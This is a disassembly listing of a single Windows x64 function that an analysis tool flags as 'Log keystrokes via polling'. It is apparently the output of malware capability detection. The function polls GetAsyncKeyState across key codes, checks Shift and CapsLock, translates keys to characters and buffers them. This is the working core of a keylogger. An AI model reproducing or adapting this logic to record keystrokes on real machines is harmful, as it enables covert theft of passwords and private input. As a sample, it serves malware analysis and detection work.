Function at 0x140043238
Capabilities:
Log keystrokes via polling

Disassembly:
jmp 0x14004e380
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400f90fd]
call fcn.1400443ae
mov dword [rbp + 4], 8
jmp 0x14004e3b0
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xbe
jg 0x14004ec9c
mov ecx, dword [rbp + 4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14004ec66
movsxd rax, dword [rbp + 4]
lea rcx, [0x1400ec430]
movzx eax, byte [rcx + rax]
test eax, eax
jne 0x14004ec64
movsxd rax, dword [rbp + 4]
lea rcx, [0x1400ec430]
mov byte [rcx + rax], 1
cmp dword [rbp + 4], 0x41
jl 0x14004e45a
cmp dword [rbp + 4], 0x5a
jg 0x14004e45a
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
jne 0x14004e42e
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
je 0x14004e440
movzx edx, byte [rbp + 4]
mov rcx, qword [rbp + 0x120]
call fcn.140042ae0
jmp 0x14004e455
mov eax, dword [rbp + 4]
add eax, 0x20
movzx edx, al
mov rcx, qword [rbp + 0x120]
call fcn.140042ae0
jmp 0x14004ec64
cmp dword [rbp + 4], 0x30
jl 0x14004e5cb
cmp dword [rbp + 4], 0x39
jg 0x14004e5cb
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
and eax, 0x8000
test eax, eax
je 0x14004e5b6
mov eax, dword [rbp + 4]
mov dword [rbp + 0xf4], eax
mov eax, dword [rbp + 0xf4]
sub eax, 0x30
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 9
ja case.default.0x14004e4c4
movsxd rax, dword [rbp + 0xf4]
lea rcx, [0x140000000]
mov eax, dword [rcx + rax*4 + 0x4eca8]
add rax, rcx
jmp rax
lea rdx, [0x1400d2998]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e5b4
lea rdx, [0x1400d299c]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e5b4
lea rdx, [0x1400d29a0]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e5b4
lea rdx, str._____:______.__
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e5b4
lea rdx, [0x1400d29a8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e5b4
lea rdx, [0x1400d29ac]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e5b4
lea rdx, [0x1400d29b0]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e5b4
lea rdx, [0x1400d29b4]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e5b4
lea rdx, [0x1400d29b8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e5b4
lea rdx, [0x1400d29bc]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e5b4
movzx edx, byte [rbp + 4]
mov rcx, qword [rbp + 0x120]
call fcn.140042ae0
jmp 0x14004e5c6
movzx edx, byte [rbp + 4]
mov rcx, qword [rbp + 0x120]
call fcn.140042ae0
jmp 0x14004ec64
cmp dword [rbp + 4], 0xba
jl 0x14004e5dd
cmp dword [rbp + 4], 0xc0
jle 0x14004e609
cmp dword [rbp + 4], 0xdb
jl 0x14004e5ef
cmp dword [rbp + 4], 0xdf
jle 0x14004e609
cmp dword [rbp + 4], 0xba
jl 0x14004ec55
cmp dword [rbp + 4], 0xde
jg 0x14004ec55
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
jne 0x14004e630
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
je 0x14004e944
mov eax, dword [rbp + 4]
mov dword [rbp + 0xf4], eax
mov eax, dword [rbp + 0xf4]
sub eax, 0xba
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 0x24
ja case.0x14004e677.10
movsxd rax, dword [rbp + 0xf4]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x4ecfc]
mov eax, dword [rcx + rax*4 + 0x4ecd0]
add rax, rcx
jmp rax
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e699
lea rax, [0x1400d29c0]
mov qword [rbp + 0xf8], rax
jmp 0x14004e6a7
lea rax, [0x1400d29c4]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e93f
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e6df
lea rax, [0x1400d29c8]
mov qword [rbp + 0xf8], rax
jmp 0x14004e6ed
lea rax, [0x1400d29b0]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e93f
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e725
lea rax, [0x1400d29cc]
mov qword [rbp + 0xf8], rax
jmp 0x14004e733
lea rax, [0x1400d29d0]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e93f
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e76b
lea rax, [0x1400d29d4]
mov qword [rbp + 0xf8], rax
jmp 0x14004e779
lea rax, [0x1400d29d8]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e93f
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e7b1
lea rax, [0x1400d29dc]
mov qword [rbp + 0xf8], rax
jmp 0x14004e7bf
lea rax, [0x1400d29e0]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e93f
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e7f7
lea rax, [0x1400d29e4]
mov qword [rbp + 0xf8], rax
jmp 0x14004e805
lea rax, [0x1400d29e8]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e93f
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e83d
lea rax, [0x1400d299c]
mov qword [rbp + 0xf8], rax
jmp 0x14004e84b
lea rax, [0x1400d29ec]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e93f
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e883
lea rax, [0x1400d29f0]
mov qword [rbp + 0xf8], rax
jmp 0x14004e891
lea rax, [0x1400d29f4]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e93f
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e8c9
lea rax, [0x1400d29c0]
mov qword [rbp + 0xf8], rax
jmp 0x14004e8d7
lea rax, [0x1400d29f8]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e93f
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e90c
lea rax, [0x1400d29fc]
mov qword [rbp + 0xf8], rax
jmp 0x14004e91a
lea rax, [0x1400d2a00]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004e93f
movzx edx, byte [rbp + 4]
mov rcx, qword [rbp + 0x120]
call fcn.140042ae0
jmp 0x14004ec53
mov eax, dword [rbp + 4]
mov dword [rbp + 0xf4], eax
mov eax, dword [rbp + 0xf4]
sub eax, 0xba
mov dword [rbp + 0xf4], eax
cmp dword [rbp + 0xf4], 0x24
ja case.0x14004e98b.10
movsxd rax, dword [rbp + 0xf4]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x4ed50]
mov eax, dword [rcx + rax*4 + 0x4ed24]
add rax, rcx
jmp rax
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e9ad
lea rax, [0x1400d29f0]
mov qword [rbp + 0xf8], rax
jmp 0x14004e9bb
lea rax, [0x1400d29c4]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004ec53
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004e9f3
lea rax, [0x1400d29b0]
mov qword [rbp + 0xf8], rax
jmp 0x14004ea01
lea rax, [0x1400d2a00]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004ec53
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004ea39
lea rax, [0x1400d29d0]
mov qword [rbp + 0xf8], rax
jmp 0x14004ea47
lea rax, [0x1400d29cc]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004ec53
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004ea7f
lea rax, [0x1400d29d8]
mov qword [rbp + 0xf8], rax
jmp 0x14004ea8d
lea rax, [0x1400d29d4]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004ec53
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004eac5
lea rax, [0x1400d29e0]
mov qword [rbp + 0xf8], rax
jmp 0x14004ead3
lea rax, [0x1400d29dc]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004ec53
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004eb0b
lea rax, [0x1400d29e8]
mov qword [rbp + 0xf8], rax
jmp 0x14004eb19
lea rax, [0x1400d29e4]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004ec53
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004eb51
lea rax, [0x1400d29ec]
mov qword [rbp + 0xf8], rax
jmp 0x14004eb5f
lea rax, [0x1400d29d0]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004ec53
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004eb97
lea rax, [0x1400d29f0]
mov qword [rbp + 0xf8], rax
jmp 0x14004eba5
lea rax, [0x1400d29f4]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004ec53
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004ebdd
lea rax, [0x1400d29c0]
mov qword [rbp + 0xf8], rax
jmp 0x14004ebeb
lea rax, [0x1400d29f8]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004ec53
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x14004ec20
lea rax, [0x1400d29fc]
mov qword [rbp + 0xf8], rax
jmp 0x14004ec2e
lea rax, [0x1400d2a00]
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call fcn.14004141a
jmp 0x14004ec53
movzx edx, byte [rbp + 4]
mov rcx, qword [rbp + 0x120]
call fcn.140042ae0
jmp 0x14004ec64
mov rdx, qword [rbp + 0x120]
mov ecx, dword [rbp + 4]
call fcn.140042f36
jmp 0x14004ec97
movsxd rax, dword [rbp + 4]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0x100
jae 0x14004ec80
jmp 0x14004ec85
call fcn.1400434ef
lea rax, [0x1400ec430]
mov rcx, qword [rbp + 0xe8]
mov byte [rax + rcx], 0
jmp 0x14004e3a8
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret